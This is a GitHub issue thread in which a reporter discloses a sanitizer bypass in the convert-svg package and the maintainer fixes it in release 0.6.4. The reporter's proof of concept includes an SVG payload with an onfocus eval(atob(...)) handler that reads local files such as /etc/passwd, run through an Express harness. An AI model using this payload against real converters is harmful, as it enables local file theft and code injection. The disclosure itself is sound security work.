neocotic / convert-svg Public

<> Code ⊙ Issues 15 Pull requests 1 Discussions Actions Security ···

New issue

Jump to bottom

Remote Code Injection vulnerable #86

Closed domdom2y2 opened this issue on Jun 6 · 3 comments · Fixed by #87

Labels bug

Milestone 0.6.4

domdom2y2 commented on Jun 6

I found the issue from version 0.6.3.
The issue is that it sanitizes svg tag only once time.
so I add another svg tag which is `<svg/>` before the original payload that I used before.

```
const { convert } = require("convert-svg-to-png");
const express = require("express");

const fileSvg = `
<svg/>
<svg height=100 src=x tabindex=0 onfocus=eval(atob(this.id))
id=ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2
 autofocus>
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
```

```
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
`;

const app = express();
app.get("/poc", async (req, res) => {
  try {
    const png = await convert(fileSvg);
    res.set("Content-Type", "image/png");
    res.send(png);
  } catch (e) {
    res.send("");
  }
});
app.listen(3000, () => {
  console.log("started");
});
```

It's still vulnerable to remote code injection with directory traversal vulnerability.

domdom2y2 commented on Jun 6 • edited ▾ Author

If we use upper payload, first `cheerio.load(input, null, false)('svg');` generates some thing like this.

```
<svg></svg><svg height="100" src="x" tabindex="0" onfocus="eval(atob(this.id))" blahblahblah> ...
continues ...
```

Then, the `svg.attr()` at `[_sanitize](svg, options)` function generates empty object. I think because cheerio's attr() function checks only once for first ends of svg tag which is `<svg></svg>`.

You can check with this below code.

```
const cheerio = require("cheerio");

const svg = `
<svg></svg>
<svg height="100" src="x" tabindex="0" onfocus="eval(atob(this.id))"
```

```
id="ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd
 autofocus="">
`;

const $ = cheerio.load(svg, null, false)("svg");
console.log($.attr());
// [Object: null prototype] {}
```

I'm not goot at coding, but I think this might be solution.

```
const cheerio = require("cheerio");

const svg = `
<svg></svg>
<svg height="100" src="x" tabindex="0" onfocus="eval(atob(this.id))"
id="ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vQzovVXNlcnMvV2hpd
 autofocus="">
`;

const $ = cheerio.load(svg, null, false)("svg");
let a = [];
$.each((index, elem) => {
  return a.push(...Object.keys(elem.attribs || {}));
});
console.log(a);
// [ 'height', 'src', 'tabindex', 'onfocus', 'id', 'autofocus' ]
```

neocotic commented on Jun 6 • edited ▾ Owner

I'll fix this as a separate issue as it should only be converting the first SVG element. I never intended for multiple SVG elements to be converted within a single string.

I understand that this is circumventing recent protections though so will prioritize accordingly.

👍 1

neocotic mentioned this issue on Jun 7

Convert only first SVG element from input #87

Merged

neocotic added the bug label on Jun 7

neocotic added this to the **0.6.4** milestone on Jun 7

neocotic closed this as completed in #87 on Jun 7

---

neocotic commented on Jun 7 Owner

This issue should now be resolved in the latest `0.6.4` release which now only converts the *first* SVG element found in the input buffer/string.

Thanks again for your investigation and reporting of bugs like these.

👍 1

Assignees

No one assigned

Labels

bug

Projects

None yet

Milestone

0.6.4

Development

Successfully merging a pull request may close this issue.

Convert only first SVG element from input
neocotic/convert-svg

2 participants